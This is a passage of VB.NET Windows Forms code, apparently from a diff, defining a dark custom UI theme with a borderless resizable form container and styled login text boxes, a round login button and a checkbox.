> Height - 6 + If B1 AndAlso B3 Then Return 4 + If B1 AndAlso B4 Then Return 7 + If B2 AndAlso B3 Then Return 5 + If B2 AndAlso B4 Then Return 8 + If B1 Then Return 1 + If B2 Then Return 2 + If B3 Then Return 3 + If B4 Then Return 6 + Return 0 + End Function + + Private Current, Previous As Integer + Private Sub InvalidateMouse() + Current = GetMouseIndex() + If Current = Previous Then Return + Previous = Current + Select Case Previous + Case 0 + Cursor = Cursors.Default + Case 1, 2 + Cursor = Cursors.SizeWE + Case 3, 6 + Cursor = Cursors.SizeNS + Case 4, 8 + Cursor = Cursors.SizeNWSE + Case 5, 7 + Cursor = Cursors.SizeNESW + End Select + End Sub + + Private WM_LMBUTTONDOWN As Boolean + Protected Overrides Sub WndProc(ByRef m As Message) + MyBase.WndProc(m) + + If WM_LMBUTTONDOWN AndAlso m.Msg = 513 Then + WM_LMBUTTONDOWN = False + + SetState(MouseState.Over) + If Not _SmartBounds Then Return + + If IsParentMdi Then + CorrectBounds(New Rectangle(Point.Empty, Parent.Parent.Size)) + Else + Try : CorrectBounds(Screen.FromControl(Parent).WorkingArea) : Catch : End Try + End If + End If + End Sub + + Private Sub CorrectBounds(ByVal bounds As Rectangle) + If Parent.Width > bounds.Width Then Parent.Width = bounds.Width + If Parent.Height > bounds.Height Then Parent.Height = bounds.Height + Dim X As Integer = Parent.Location.X + Dim Y As Integer = Parent.Location.Y + If X < bounds.X Then X = bounds.X + If Y < bounds.Y Then Y = bounds.Y + Dim Width As Integer = bounds.X + bounds.Width + Dim Height As Integer = bounds.Y + bounds.Height + If X + Parent.Width > Width Then X = Width - Parent.Width + If Y + Parent.Height > Height Then Y = Height - Parent.Height + ''Weird allows proper full screen + ' Parent.Size = New Size(Width, Height) + If FindForm.WindowState = FormWindowState.Maximized Or FindForm.WindowState = FormWindowState.Minimized Then + Parent.Size = OldSize + End If + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + If Not _ControlMode Then MyBase.Dock = DockStyle.Fill + End Sub + + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + MyBase.OnParentChanged(e) + If Parent Is Nothing Then Return + _IsParentForm = TypeOf Parent Is Form + If Not _ControlMode Then + InitializeMessages() + Parent.BackColor = BackColor + End If + End Sub + +#End Region + +#Region "Properties" + + Enum __CloseChoice + Form + Application + End Enum + Public Property CloseChoice As __CloseChoice + Get + Return _CloseChoice + End Get + Set(value As __CloseChoice) + _CloseChoice = value + End Set + End Property + + Private _Movable As Boolean = True + Property Movable() As Boolean + Get + Return _Movable + End Get + Set(ByVal value As Boolean) + _Movable = value + End Set + End Property + + Private _Sizable As Boolean = True + Property Sizable() As Boolean + Get + Return _Sizable + End Get + Set(ByVal value As Boolean) + _Sizable = value + End Set + End Property + + Private _ControlMode As Boolean + Protected Property ControlMode() As Boolean + Get + Return _ControlMode + End Get + Set(ByVal v As Boolean) + _ControlMode = v + + Invalidate() + End Set + End Property + + Private _SmartBounds As Boolean = True + Property SmartBounds() As Boolean + Get + Return _SmartBounds + End Get + Set(ByVal value As Boolean) + _SmartBounds = value + End Set + End Property + + Private _IsParentForm As Boolean + Protected ReadOnly Property IsParentForm As Boolean + Get + Return _IsParentForm + End Get + End Property + + Protected ReadOnly Property IsParentMdi As Boolean + Get + If Parent Is Nothing Then Return False + Return Parent.Parent IsNot Nothing + End Get + End Property + + + Public Property FontSize As Integer + Get + Return _FontSize + End Get + Set(value As Integer) + _FontSize = value + End Set + End Property + + Private _AllowMinimize As Boolean = True + + Public Property AllowMinimize As Boolean + Get + Return _AllowMinimize + End Get + Set(value As Boolean) + _AllowMinimize = value + End Set + End Property + + Private _AllowMaximize As Boolean = True + + Public Property AllowMaximize As Boolean + Get + Return _AllowMaximize + End Get + Set(value As Boolean) + _AllowMaximize = value + End Set + End Property + + Private _ShowIcon As Boolean = True + + Public Property ShowIcon As Boolean + Get + Return _ShowIcon + End Get + Set(value As Boolean) + _ShowIcon = value + Invalidate() + End Set + End Property + + Private _AllowClose As Boolean = True + + Public Property AllowClose As Boolean + Get + Return _AllowClose + End Get + Set(value As Boolean) + _AllowClose = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property HoverColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property ContainerColour As Color + Get + Return _ContainerColour + End Get + Set(value As Color) + _ContainerColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + Me.DoubleBuffered = True + Me.BackColor = _BaseColour + Me.Dock = DockStyle.Fill + End Sub + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + ParentForm.FormBorderStyle = FormBorderStyle.None + ParentForm.AllowTransparency = False + ParentForm.TransparencyKey = Color.Fuchsia + ParentForm.FindForm.StartPosition = FormStartPosition.CenterScreen + Dock = DockStyle.Fill + Invalidate() + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + + Dim G = e.Graphics + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .FillRectangle(New SolidBrush(_BaseColour), New Rectangle(0, 0, Width, Height)) + .FillRectangle(New SolidBrush(_ContainerColour), New Rectangle(2, 35, Width - 4, Height - 37)) + .DrawRectangle(New Pen(_BorderColour), New Rectangle(0, 0, Width, Height)) + Dim ControlBoxPoints() As Point = {New Point(Width - 90, 0), New Point(Width - 90, 22), New Point(Width - 15, 22), New Point(Width - 15, 0)} + .DrawLines(New Pen(_BorderColour), ControlBoxPoints) + .DrawLine(New Pen(_BorderColour), Width - 65, 0, Width - 65, 22) + GetMouseLocation = PointToClient(MousePosition) + Select Case State + Case MouseState.Over + If GetMouseLocation.X > Width - 39 AndAlso GetMouseLocation.X < Width - 16 AndAlso GetMouseLocation.Y < 22 Then + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(Width - 39, 0, 23, 22)) + ElseIf GetMouseLocation.X > Width - 64 AndAlso GetMouseLocation.X < Width - 41 AndAlso GetMouseLocation.Y < 22 Then + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(Width - 64, 0, 23, 22)) + ElseIf GetMouseLocation.X > Width - 89 AndAlso GetMouseLocation.X < Width - 66 AndAlso GetMouseLocation.Y < 22 Then + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(Width - 89, 0, 23, 22)) + End If + End Select + .DrawLine(New Pen(_BorderColour), Width - 40, 0, Width - 40, 22) + ''Close Button + .DrawLine(New Pen(_FontColour, 2), Width - 33, 6, Width - 22, 16) + .DrawLine(New Pen(_FontColour, 2), Width - 33, 16, Width - 22, 6) + ''Minimize Button + .DrawLine(New Pen(_FontColour), Width - 83, 16, Width - 72, 16) + ''Maximize Button + .DrawLine(New Pen(_FontColour), Width - 58, 16, Width - 47, 16) + .DrawLine(New Pen(_FontColour), Width - 58, 16, Width - 58, 6) + .DrawLine(New Pen(_FontColour), Width - 47, 16, Width - 47, 6) + .DrawLine(New Pen(_FontColour), Width - 58, 6, Width - 47, 6) + .DrawLine(New Pen(_FontColour), Width - 58, 7, Width - 47, 7) + If _ShowIcon Then + .DrawIcon(FindForm.Icon, New Rectangle(6, 6, 22, 22)) + .DrawString(Text, _Font, New SolidBrush(_FontColour), New RectangleF(31, 0, Width - 110, 35), New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Near}) + Else + .DrawString(Text, _Font, New SolidBrush(_FontColour), New RectangleF(4, 0, Width - 110, 35), New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Near}) + End If + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub + +#End Region + +End Class + + +Public Class LogInUserTextBox + Inherits Control + +#Region "Declarations" + Private State As MouseState = MouseState.None + Private WithEvents TB As TextBox + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) +#End Region + +#Region "TextBox Properties" + + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If TB IsNot Nothing Then + TB.TextAlign = value + End If + End Set + End Property + Private _MaxLength As Integer = 32767 + + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If TB IsNot Nothing Then + TB.MaxLength = value + End If + End Set + End Property + Private _ReadOnly As Boolean + + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If TB IsNot Nothing Then + TB.ReadOnly = value + End If + End Set + End Property + Private _UseSystemPasswordChar As Boolean + + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If TB IsNot Nothing Then + TB.UseSystemPasswordChar = value + End If + End Set + End Property + Private _Multiline As Boolean + + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If TB IsNot Nothing Then + TB.Multiline = value + + If value Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + End If + End Set + End Property + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If TB IsNot Nothing Then + TB.Text = value + End If + End Set + End Property + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If TB IsNot Nothing Then + TB.Font = value + TB.Location = New Point(3, 5) + TB.Width = Width - 35 + + If Not _Multiline Then + Height = TB.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(TB) Then + Controls.Add(TB) + End If + End Sub + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = TB.Text + End Sub + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + TB.SelectAll() + e.SuppressKeyPress = True + End If + If e.Control AndAlso e.KeyCode = Keys.C Then + TB.Copy() + e.SuppressKeyPress = True + End If + End Sub + Protected Overrides Sub OnResize(ByVal e As EventArgs) + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + + If _Multiline Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + MyBase.OnResize(e) + End Sub + +#End Region + +#Region "Colour Properties" + + + Public Property BackgroundColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : TB.Focus() : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + TB = New TextBox + TB.Height = 190 + TB.Font = New Font("Segoe UI", 10) + TB.Text = Text + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + TB.MaxLength = _MaxLength + TB.Multiline = False + TB.ReadOnly = _ReadOnly + TB.UseSystemPasswordChar = _UseSystemPasswordChar + TB.BorderStyle = BorderStyle.None + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + AddHandler TB.TextChanged, AddressOf OnBaseTextChanged + AddHandler TB.KeyDown, AddressOf OnBaseKeyDown + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + + Dim G = e.Graphics + Dim GP As GraphicsPath + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + GP = RoundRectangle(Base, 6) + .FillPath(New SolidBrush(Color.FromArgb(42, 42, 42)), GP) + .DrawPath(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35)), 2), GP) + GP.Dispose() + .FillPie(New SolidBrush(FindForm.BackColor), New Rectangle(Width - 25, Height - 23, Height + 25, Height + 25), 180, 90) + .DrawPie(New Pen(Color.FromArgb(35, 35, 35), 2), New Rectangle(Width - 25, Height - 23, Height + 25, Height + 25), 180, 90) + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub + + + +#End Region + +End Class + + +Public Class LogInPassTextBox + Inherits Control + +#Region "Declarations" + Private State As MouseState = MouseState.None + Private WithEvents TB As TextBox + Private _BaseColour As Color = Color.FromArgb(255, 255, 255) + Private _TextColour As Color = Color.FromArgb(50, 50, 50) + Private _BorderColour As Color = Color.FromArgb(180, 187, 205) +#End Region + +#Region "TextBox Properties" + + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If TB IsNot Nothing Then + TB.TextAlign = value + End If + End Set + End Property + Private _MaxLength As Integer = 32767 + + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If TB IsNot Nothing Then + TB.MaxLength = value + End If + End Set + End Property + Private _ReadOnly As Boolean + + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If TB IsNot Nothing Then + TB.ReadOnly = value + End If + End Set + End Property + Private _UseSystemPasswordChar As Boolean + + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If TB IsNot Nothing Then + TB.UseSystemPasswordChar = value + End If + End Set + End Property + Private _Multiline As Boolean + + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If TB IsNot Nothing Then + TB.Multiline = value + + If value Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + End If + End Set + End Property + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If TB IsNot Nothing Then + TB.Text = value + End If + End Set + End Property + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If TB IsNot Nothing Then + TB.Font = value + TB.Location = New Point(3, 5) + TB.Width = Width - 35 + + If Not _Multiline Then + Height = TB.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(TB) Then + Controls.Add(TB) + End If + End Sub + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = TB.Text + End Sub + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + TB.SelectAll() + e.SuppressKeyPress = True + End If + If e.Control AndAlso e.KeyCode = Keys.C Then + TB.Copy() + e.SuppressKeyPress = True + End If + End Sub + Protected Overrides Sub OnResize(ByVal e As EventArgs) + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + + If _Multiline Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + MyBase.OnResize(e) + End Sub +#End Region + +#Region "Colour Properties" + + + Public Property BackgroundColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : TB.Focus() : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + TB = New TextBox + TB.Height = 190 + TB.Font = New Font("Segoe UI", 10) + TB.Text = Text + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + TB.MaxLength = _MaxLength + TB.Multiline = False + TB.ReadOnly = _ReadOnly + TB.UseSystemPasswordChar = _UseSystemPasswordChar + TB.BorderStyle = BorderStyle.None + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + AddHandler TB.TextChanged, AddressOf OnBaseTextChanged + AddHandler TB.KeyDown, AddressOf OnBaseKeyDown + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + Dim GP As GraphicsPath + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + GP = RoundRectangle(Base, 6) + .FillPath(New SolidBrush(Color.FromArgb(42, 42, 42)), GP) + .DrawPath(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35)), 2), GP) + GP.Dispose() + .FillPie(New SolidBrush(FindForm.BackColor), New Rectangle(Width - 25, Height - 60, Height + 25, Height + 25), 90, 90) + .DrawPie(New Pen(Color.FromArgb(35, 35, 35), 2), New Rectangle(Width - 25, Height - 60, Height + 25, Height + 25), 90, 90) + .FillEllipse(New SolidBrush(_TextColour), New Rectangle(10, 5, 10, 7)) + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub +#End Region + +End Class + +Public Class LogInLogButton + Inherits Control + +#Region "Declarations" + Private State As MouseState = MouseState.None + Private _ArcColour As Color = Color.FromArgb(43, 43, 43) + Private _ArrowColour As Color = Color.FromArgb(235, 233, 234) + Private _ArrowBorderColour As Color = Color.FromArgb(170, 170, 170) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _HoverColour As Color = Color.FromArgb(0, 130, 169) + Private _PressedColour As Color = Color.FromArgb(0, 145, 184) + Private _NormalColour As Color = Color.FromArgb(0, 160, 199) +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Colour Properties" + + Public Property ArcColour As Color + Get + Return _ArcColour + End Get + Set(value As Color) + _ArcColour = value + End Set + End Property + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + Public Property ArrowColour As Color + Get + Return _ArrowColour + End Get + Set(value As Color) + _ArrowColour = value + End Set + End Property + + Public Property ArrowBorderColour As Color + Get + Return _ArrowBorderColour + End Get + Set(value As Color) + _ArrowBorderColour = value + End Set + End Property + + Public Property HoverColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + Public Property PressedColour As Color + Get + Return _PressedColour + End Get + Set(value As Color) + _PressedColour = value + End Set + End Property + + Public Property NormalColour As Color + Get + Return _NormalColour + End Get + Set(value As Color) + _NormalColour = value + End Set + End Property + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Size = New Size(50, 50) + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(50, 50) + BackColor = Color.FromArgb(54, 54, 54) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + + Dim G = e.Graphics + Dim GP, GP1 As New GraphicsPath + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Dim P() As Point = {New Point(18, 22), New Point(28, 22), New Point(28, 18), New Point(34, 25), New Point(28, 32), New Point(28, 28), New Point(18, 28)} + Select Case State + Case MouseState.None + .FillEllipse(New SolidBrush(Color.FromArgb(56, 56, 56)), New Rectangle(CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 3, Height - 3 - 3)) + .DrawArc(New Pen(New SolidBrush(_ArcColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 3, Height - 3 - 3, -90, 360) + .DrawEllipse(New Pen(_BorderColour), New Rectangle(1, 1, Height - 3, Height - 3)) + .FillEllipse(New SolidBrush(_NormalColour), New Rectangle(CInt(3 / 2) + 3, CInt(3 / 2) + 3, Height - 11, Height - 11)) + .FillPolygon(New SolidBrush(_ArrowColour), P) + .DrawPolygon(New Pen(_ArrowBorderColour), P) + Case MouseState.Over + .DrawArc(New Pen(New SolidBrush(_ArcColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 3, Height - 3 - 3, -90, 360) + .DrawEllipse(New Pen(_BorderColour), New Rectangle(1, 1, Height - 3, Height - 3)) + .FillEllipse(New SolidBrush(_HoverColour), New Rectangle(6, 6, Height - 13, Height - 13)) + .FillPolygon(New SolidBrush(_ArrowColour), P) + .DrawPolygon(New Pen(_ArrowBorderColour), P) + Case MouseState.Down + .DrawArc(New Pen(New SolidBrush(_ArcColour), 1 + 3), CInt(3 / 2) + 1, CInt(3 / 2) + 1, Width - 3 - 3, Height - 3 - 3, -90, 360) + .DrawEllipse(New Pen(_BorderColour), New Rectangle(1, 1, Height - 3, Height - 3)) + .FillEllipse(New SolidBrush(_PressedColour), New Rectangle(6, 6, Height - 13, Height - 13)) + .FillPolygon(New SolidBrush(_ArrowColour), P) + .DrawPolygon(New Pen(_ArrowBorderColour), P) + End Select + GP.Dispose() + GP1.Dispose() + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + End Sub + +#End Region + +End Class + + +Public Class LogInCheckBox + Inherits Control + +#Region "Declarations" + Private _Checked As Boolean + Private State As MouseState = MouseState.None + Private _CheckedColour As Color = Color.FromArgb(173, 173, 174) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BackColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) +#End Region + +#Region "Colour & Other Properties" + + + Public Property BaseColour As Color + Get + Return _BackColour + End Get + Set(value As Color) + _BackColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property CheckedColour As Color + Get + Return _CheckedColour + End Get + Set(value As Color) + _CheckedColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Protected Overrides Sub OnTextChanged(ByVal e As EventArgs) + MyBase.OnTextChanged(e) + Invalidate() + End Sub + + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + Invalidate() + End Set + End Property + + Event CheckedChanged(ByVal sender As Object) + Protected Overrides Sub OnClick(ByVal e As EventArgs) + _Checked = Not _Checked + RaiseEvent CheckedChanged(Me) + MyBase.OnClick(e) + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 22 + End Sub +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Cursor = Cursors.Hand + Size = New Size(100, 22) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim g = e.Graphics + Dim Base As New Rectangle(0, 0, 20, 20) + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(Color.FromArgb(54, 54, 54)) + .FillRectangle(New SolidBrush(_BackColour), Base) + .DrawRectangle(New Pen(_BorderColour), New Rectangle(1, 1, 18, 18)) + Select Case State + Case MouseState.Over + .FillRectangle(New SolidBrush(Color.FromArgb(50, 49, 51)), Base) + .DrawRectangle(New Pen(_BorderColour), New Rectangle(1, 1, 18, 18)) + End Select + If Checked Then + Dim P() As Point = {New Point(4, 11), New Point(6, 8), New Point(9, 12), New Point(15, 3), New Point(17, 6), New Point(9, 16)} + .FillPolygon(New SolidBrush(_CheckedColour), P) + End If + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(24, 1, Width, Height - 2), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center}) + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub +#End Region + +End Class + +Public Class LogInNormalTextBox + Inherits Control + +#Region "Declarations" + Private State As MouseState = MouseState.None + Private WithEvents TB As TextBox + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _Style As Styles = Styles.NotRounded + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + Private _MaxLength As Integer = 32767 + Private _ReadOnly As Boolean + Private _UseSystemPasswordChar As Boolean + Private _Multiline As Boolean +#End Region + +#Region "TextBox Properties" + + Enum Styles + Rounded + NotRounded + End Enum + + + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If TB IsNot Nothing Then + TB.TextAlign = value + End If + End Set + End Property + + + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If TB IsNot Nothing Then + TB.MaxLength = value + End If + End Set + End Property + + + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If TB IsNot Nothing Then + TB.ReadOnly = value + End If + End Set + End Property + + + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If TB IsNot Nothing Then + TB.UseSystemPasswordChar = value + End If + End Set + End Property + + + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If TB IsNot Nothing Then + TB.Multiline = value + + If value Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + End If + End Set + End Property + + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If TB IsNot Nothing Then + TB.Text = value + End If + End Set + End Property + + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If TB IsNot Nothing Then + TB.Font = value + TB.Location = New Point(3, 5) + TB.Width = Width - 6 + + If Not _Multiline Then + Height = TB.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides 